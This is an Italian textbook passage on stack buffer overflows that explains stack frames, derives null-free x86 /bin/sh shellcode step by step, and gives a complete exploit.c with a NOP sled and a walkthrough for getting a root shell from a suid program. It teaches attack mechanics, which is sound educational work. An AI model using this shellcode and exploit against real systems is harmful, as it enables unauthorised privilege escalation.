25.6.1 Il buffer overflow

In sez. 25.1 sono state illustrate tecniche di attacco al protocollo di comunicazione TCP/IP. Esistono anche altre tecniche che mirano a sfruttare le falle presenti nei programmi. Dipendentemente dal tipo di falla e dai diritti che ha il processo relativo, è possibile arrivare anche a prendere il controllo completo del sistema. Una delle tecniche più utilizzate per guadagnare privilegi normalmente non consentiti è quella denominata buffer overflow, che consiste appunto nello sfruttare lo sforamento di un buffer per far eseguire al processo del codice ad hoc (è detto anche stack overflow poiché spesso il buffer overflow viene sfruttato per scrivere codice arbitrario all’interno dello stack).

Un buffer è essenzialmente un recipiente di informazioni, ovvero una variabile (o un array). È possibile che i linguaggi di programmazione di basso livello abbiano qualche funzione di libreria che non effettua nessun controllo sulla lunghezza dei buffer (per questioni di prestazioni). Un esempio per tutte: la funzione strcpy() del C.

Il codice seguente è un esempio di buffer overflow: la stringa passata alla funzione test() è più lunga di quella attesa (20 byte invece di 16) e quindi la stringa di destinazione (l_str) conterrà soltanto i primi 16 byte della stringa passata (p_str), ma i restanti byte saranno comunque scritti in memoria, cioè nello stack, e quindi causeranno una variazione al comportamento atteso del programma. Nel caso illustrato probabilmente si produrrà un errore di “segmentation violation”.

test(char *p_str)
{
char l_str[16];
strcpy(l_str, p_str);
                                                                        
                                                                        
}
void main()
{
char buffer[20];
int i;
for (i=0;i<19;++i)
{
  buffer[i] = 'A';
}
buffer[19]='\0';
test(buffer);
}
Come illustrato nel sez. 6.4.4 i processi in memoria sono rappresentati da una struttura suddivisa essenzialmente in tre zone (dall’indirizzo più basso): il code segment (o text segment) in cui risiede il codice eseguibile, il data segment in cui risiedono le variabili globali e lo stack, ovvero lo spazio che viene utilizzato per il passaggio dei parametri tra le routine e per la memorizzazione delle variabili automatiche (quelle locali alla routine).

La dimensione dello stack è fissa, ma la parte utilizzata varia durante l’esecuzione del programma. Lo stack viene riempito a partire dall’indirizzo più elevato, ed il sistema tiene conto della parte effettivamente utilizzata per mezzo di un puntatore, lo stack pointer che memorizza il suo indirizzo inferiore. Tale valore può decrescere fintantoché non arriva al data segment5 (v. fig. 25.7).6 In particolare, nelle CPU X386 lo stack pointer è memorizzato nel registro SP (ESP). Quando viene chiamata una subroutine il valore contenuto nello stack pointer prima della chiamata viene salvato nel registro BP (EBP - base pointer) e quindi il registro SP (ESP) viene aggiornato con l’indirizzo più basso effettivamente utilizzato dallo stack (punta cioè al limite inferiore dello stack).


pict
Figura 25.7: Occupazione dello stack da parte di un processo.

Nell’esempio di codice illustrato precedentemente, subito prima dell’esecuzione della funzione strcpy, il contesto attuale dello stack (o stack frame) conterrà l’indirizzo di buffer, l’indirizzo del punto di ritorno dopo aver chiamato la routine test(), l’indirizzo dello stack pointer (prima della chiamata alla routine) e le variabili automatiche della routine test(), cioè l_str.

Dopo l’esecuzione di strcpy() la parte dello stack relativa a l_str sarà riempita con i primi 16 byte di buffer e gli altri 4 byte saranno andati a finire nelle locazioni di memoria contigue, sporcando il contenuto dello stack pointer precedentemente salvato.

Dunque, poiché è possibile scrivere nello stack, si può pensare di scrivere del codice eseguibile e farlo eseguire al sistema. L’idea è quella di memorizzare il codice eseguibile nel buffer e di sostituire l’indirizzo di ritorno della funzione chiamata, con quello dell’inizio del buffer stesso. In questo modo, al termine della routine viene eseguito il codice che sta nel buffer. Per far ciò deve comunque essere possibile interagire con il programma vittima che deve avere una falla di tipo buffer overflow. Un esempio di programma vittima può essere quello seguente

void main(int argc, char *argv[])
{
char l_buffer[512];
if (argc > 1)
{
  strcpy(l_buffer, argv[1]);
}
printf("Program terminated.\n");
}
L’attaccante cercherà di sfruttare la falla relativa al buffer overflow per lanciare in esecuzione una shell, in maniera da poter successivamente impartire qualunque comando. In particolare si consideri il caso in cui il programma vittima sia in esecuzione con i permessi del superuser, ovvero, nel caso qui presentato si supponga che il file eseguibile vulnerable, prodotto dalla compilazione di vulnerable.c, sia di proprietà del superuser ed abbia il suid7 impostato.

Per lanciare una shell da programma è sufficiente eseguire le seguenti linee di codice (file runshell.c)

#include <stdio.h>
void main()
{
char *l_command[2];
l_command[0] = "/bin/sh";
l_command[1] = NULL;
execve(l_command[0], l_command, NULL);
exit(0);
}
                                                                        
                                                                        
Il codice assembly generato dalla compilazione (statica) del programma, è

$ gcc -o runshell -ggdb -static runshell.c
$ gdb runshell
GDB is free software and you are welcome to distribute copies of it
 under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>:       pushl  %ebp                          Salva il vecchio stack pointer nello stack
0x8000131 <main+1>:     movl   %esp,%ebp                     Salva il nuovo stack pointer in EBP
0x8000133 <main+3>:     subl   $0x8,%esp                     Alloca il posto per le variabili automatiche (2 puntatori = 8 byte)
0x8000136 <main+6>:     movl   $0x80027b8,0xfffffff8(%ebp)   Assegna l’indirizzo di inizio di /bin/sh a l_command[0]
0x800013d <main+13>:    movl   $0x0,0xfffffffc(%ebp)         Assegna il valore 0 a l_command[1]
0x8000144 <main+20>:    pushl  $0x0                          Copia nello stack i valori da passare a execve (in ordine inverso)
0x8000146 <main+22>:    leal   0xfffffff8(%ebp),%eax        
0x8000149 <main+25>:    pushl  %eax                         
0x800014a <main+26>:    movl   0xfffffff8(%ebp),%eax        
0x800014d <main+29>:    pushl  %eax                         
0x800014e <main+30>:    call   0x80002bc <__execve>          Chiama execve
0x8000153 <main+35>:    addl   $0xc,%esp                    
0x8000156 <main+38>:    movl   %ebp,%esp                     Ripristina ESP con EBP
0x8000158 <main+40>:    popl   %ebp                          Ripristina EBP dallo stack
0x8000159 <main+41>:    ret                                  Ritorna al chiamante
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>:     pushl  %ebp                          Salva il vecchio stack pointer nello stack
0x80002bd <__execve+1>:   movl   %esp,%ebp                     Salva il nuovo stack pointer in EBP
0x80002bf <__execve+3>:   pushl  %ebx                          Salva EBX nello stack
0x80002c0 <__execve+4>:   movl   $0xb,%eax                     Assegna BH a EAX
0x80002c5 <__execve+9>:   movl   0x8(%ebp),%ebx                Assegna il valore del primo parametro (displacement 8H poiché nello stack è stato salvato EBP e EBX) a EBX
0x80002c8 <__execve+12>:  movl   0xc(%ebp),%ecx                Assegna il valore del secondo parametro (displacement CH) a ECX
0x80002cb <__execve+15>:  movl   0x10(%ebp),%edx               Assegna il valore del terzo parametro (displacement 10H) a EDX
0x80002ce <__execve+18>:  int    $0x80                         Chiama la routine di interrupt
0x80002d0 <__execve+20>:  movl   %eax,%edx                    
0x80002d2 <__execve+22>:  testl  %edx,%edx                    
0x80002d4 <__execve+24>:  jnl    0x80002e6 <__execve+42>      
0x80002d6 <__execve+26>:  negl   %edx                         
0x80002d8 <__execve+28>:  pushl  %edx                         
0x80002d9 <__execve+29>:  call   0x8001a34 <__normal_errno_location>
0x80002de <__execve+34>:  popl   %edx                         
0x80002df <__execve+35>:  movl   %edx,(%eax)                  
0x80002e1 <__execve+37>:  movl   $0xffffffff,%eax             
0x80002e6 <__execve+42>:  popl   %ebx                          Ripristina EBX dallo stack
0x80002e7 <__execve+43>:  movl   %ebp,%esp                     Ripristina ESP con EBP
0x80002e9 <__execve+45>:  popl   %ebp                          Ripristina EBP dallo stack
0x80002ea <__execve+46>:  ret                                  Ritorna al chiamante
0x80002eb <__execve+47>:  nop                                 
End of assembler dump.
Quindi, considerando soltanto le istruzioni assembly strettamente necessarie, il codice per l’esecuzione di una shell si compone di quelle seguenti

movl  string_addr,string_addr_addr
movb  $0x0,null_byte_addr
movl  $0x0,null_addr
movl  $0xb,%eax
movl  string_addr,%ebx
leal  string_addr,%ecx
leal  null_string,%edx
int   $0x80
movl  $0x1,%eax
movl  $0x0,%ebx
int   $0x80
.string "/bin/sh"
Il fatto è che non si può conoscere a priori l’indirizzo di inizio della stringa ‘/bin/sh’, poiché esso dipende dalla posizione in memoria del buffer che verrà utilizzato dall’attacco. Per ovviare a tale problema si può utilizzare un’istruzione JMP ed una CALL. Infatti, l’istruzione JMP permette di saltare ad un indirizzo relativo a quello corrente (senza quindi doverlo necessariamente conoscere), mentre la CALL fa inserire al sistema l’indirizzo di memoria successivo alla CALL nello stack.

Quindi si può inserire come prima istruzione una JMP che sposti l’esecuzione ad una CALL. La CALL deve essere posizionata appena prima della stringa ‘/bin/sh’, in maniera tale che l’indirizzo dove è memorizzata la stringa ‘/bin/sh’ venga memorizzato nello stack come indirizzo di ritorno dalla CALL, quindi recuperabile dallo stack con una POP subito dopo la CALL. Pertanto il codice assembly per il lancio di una shell diviene quello seguente

jmp   offset-to-call
popl  %esi
movl  %esi,array-offset(%esi)
movb  $0x0,nullbyteoffset(%esi)
movl  $0x0,null-offset(%esi)
movl  $0xb,%eax
                                                                        
                                                                        
movl  %esi,%ebx
leal  array-offset(%esi),%ecx
leal  null-offset(%esi),%edx
int   $0x80
movl  $0x1,%eax
movl  $0x0,%ebx
int   $0x80
call  offset-to-popl
.string "/bin/sh"
che, calcolando gli offset, diviene

jmp   0x26
popl  %esi
movl  %esi,0x8(%esi)
movb  $0x0,0x7(%esi)
movl  $0x0,0xc(%esi)
movl  $0xb,%eax
movl  %esi,%ebx
leal  0x8(%esi),%ecx
leal  0xc(%esi),%edx
int   $0x80
movl  $0x1,%eax
movl  $0x0,%ebx
int   $0x80
call  -0x2b
.string "/bin/sh"
Quindi, non rimane che da tradurre in linguaggio macchina l’assembly per poi poterlo utilizzare.

EB 2A 5E 89 76 08 C6 46 07 00 C7 46 0C 00 00 00
00 B8 0B 00 00 00 89 F3 8D 4E 08 8D 56 0C CD 80
B8 01 00 00 00 BB 00 00 00 00 CD 80 E8 D1 FF FF
FF 2F 62 69 6E 2F 73 68 00 89 EC 5D C3
Il codice ottenuto non è ancora utilizzabile, poiché contiene al suo interno dei valori nulli. Poiché, infatti, il buffer overflow è una tecnica utilizzata prevalentemente per buffer di caratteri, il valore nullo viene interpretato dal linguaggio C come carattere di fine stringa e la copia del codice nello stack si arresterebbe al primo carattere nullo incontrato. Pertanto i byte nulli devono essere rimossi dal codice. Ciò può essere fatto utilizzando delle istruzioni macchina diverse ma che portano al risultato di avere un valore nullo: ad esempio anziché caricare il valore nullo in un registro con l’istruzione MOV, si può annullare il contenuto del registro stesso mediante l’operazione XOR su sé stesso. Si ha quindi il seguente codice assembly

                                                                        
                                                                        
jmp   0x1f
popl  %esi
movl  %esi,0x8(%esi)
xorl  %eax,%eax
movb  %eax,0x7(%esi)
movl  %eax,0xc(%esi)
movl  $0xb,%eax
movl  %esi,%ebx
leal  0x8(%esi),%ecx
leal  0xc(%esi),%edx
int   $0x80
xorl  %ebx,%ebx
movl  %ebx,%eax
inc   %eax
int   $0x80
call  -0x24
.string "/bin/sh"
che corrisponde al seguente codice macchina

EB 1F 5E 89 76 08 31 C0 88 46 07 89 46 0C B0 0B
89 F3 8D 4E 08 8D 56 0C CD 80 31 DB 89 D8 40 CD
80 E8 DC FF FF FF 2F 62 69 6E 2F 73 68 00
A questo punto, anche riuscendo ad iniettare il codice eseguibile per il lancio di una shell all’interno del buffer (stack), il problema consiste nell’andare a scrivere l’indirizzo di inizio di tale codice eseguibile al posto dell’indirizzo di ritorno dalla chiamata alla routine contenente il buffer che ha permette l’attacco. Inoltre, non si conosce neanche l’indirizzo di inizio del codice eseguibile iniettato, cioè quello del buffer. Quindi, per aumentare le possibilità di far funzionare il tutto è opportuno inserire in testa al buffer un bel po’ di istruzioni NOP (che non fanno eseguire nessuna istruzione alla CPU) ed in coda al buffer un discreto numero di byte contenenti più ripetizioni del presupposto indirizzo di inizio del buffer. In questo modo è più probabile che il codice iniettato venga eseguito.

Per poter provare la tecnica del buffer overflow con il programma vittima presentato precedentemente è più agevole scrivere un altro programma (exploit.c) che imposta una variabile di ambiente (EGG) con la stringa appositamente creata per essere poi data in pasto al programma vittima.

#include <stdlib.h>
#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512
#define NOP                            0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void)
                                                                        
                                                                        
{
/* Ritorna il valore del registro ESP */
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[])
{
/* Costruisce una stringa contenente il codice per lanciare una shell
 * con la tecnica del buffer overflow e la memorizza in una variabile
 * d'ambiente EGG. Quindi lancia una shell
 *
 * I parametri di ingresso:
 * argv[1] è la dimensione della stringa da utilizzare nell'attacco
 * argv[2] è l'offset a cui si pensa possa essere memorizzato il buffer
 *         da attaccare all'interno dello stack
 */
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize  = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize)))
{
  printf("Can't allocate memory.\n");
  exit(0);
}
/* L'indirizzo con il quale sostituire quello di ritorno è quello dello
 * stack pointer con l'offset eventualmente passato in ingresso. Poiché
 * l'indirizzo superiore dello stack è lo stesso per qualunque programma
 * questa impostazione può andare bene.
 */
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i=0; i<bsize; i+=4)
{
  *(addr_ptr++) = addr;
}
for (i=0; i<bsize/2; ++i)
{
  buff[i] = NOP;
}
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i=0; i<strlen(shellcode); ++i)
{
  *(ptr++) = shellcode[i];
}
buff[bsize-1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
                                                                        
                                                                        
system("/bin/bash");
}
Quindi non rimane altro che tentare di “indovinare” pressappoco l’indirizzo del buffer di cui sfruttare l’overflow ed aggiungere un centinaio di byte in più. Questo valore è quello che deve essere passato come secondo parametro a exploit (prodotto dalla compilazione di exploit.c), mentre il primo è la lunghezza della stringa con il quale si vuol tentare il buffer overflow.

 
$ ./exploit 1024 500
$  
Una volta che exploit ha completato il suo lavoro si può tentare di realizzare il buffer overflow lanciando il programma vulnerable (prodotto dalla compilazione di vulnerable.c) passandogli come parametro la variabile di ambiente EGG che contiene il codice eseguibile da iniettare nello stack per far eseguire una shell con i permessi del processo lanciato in esecuzione da vulnerable. Quindi, supponendo che vulnerable sia di proprietà del superuser ed abbia il suid impostato, se si ottiene il risultato seguente, si ha una shell con i privilegi del superuser!

 
$ ./vulnerable $EGG
#  
È una questione di tentativi. Se non funziona al primo tentativo (magari si riceve qualche messaggio di errore, o altro) si può ritentare provando a variare il contenuto della variabile di ambiente EGG rilanciando exploit con parametri diversi da quelli precedenti. Quindi si riprovi a rilanciare in esecuzione vulnerable seguito dalla variabile di ambiente EGG ...

Questo è essenzialmente il meccanismo che sta alla base dei tentativi di exploit dei buffer overflow, che fa toccare con mano la possibilità da parte degli utenti di ottenere privilegi a loro normalmente non consentiti.

La riuscita di tale exploit sembra dipendere anche dalla versione del compilatore utilizzato per ottenere vulnerable. Con vulnerable prodotto da gcc v. 2??? l’exploit prima o poi riesce, mentre con quello prodotto da gcc v. 3.3.3 non sono riuscito ad ottenere una shell con privilegi del superuser.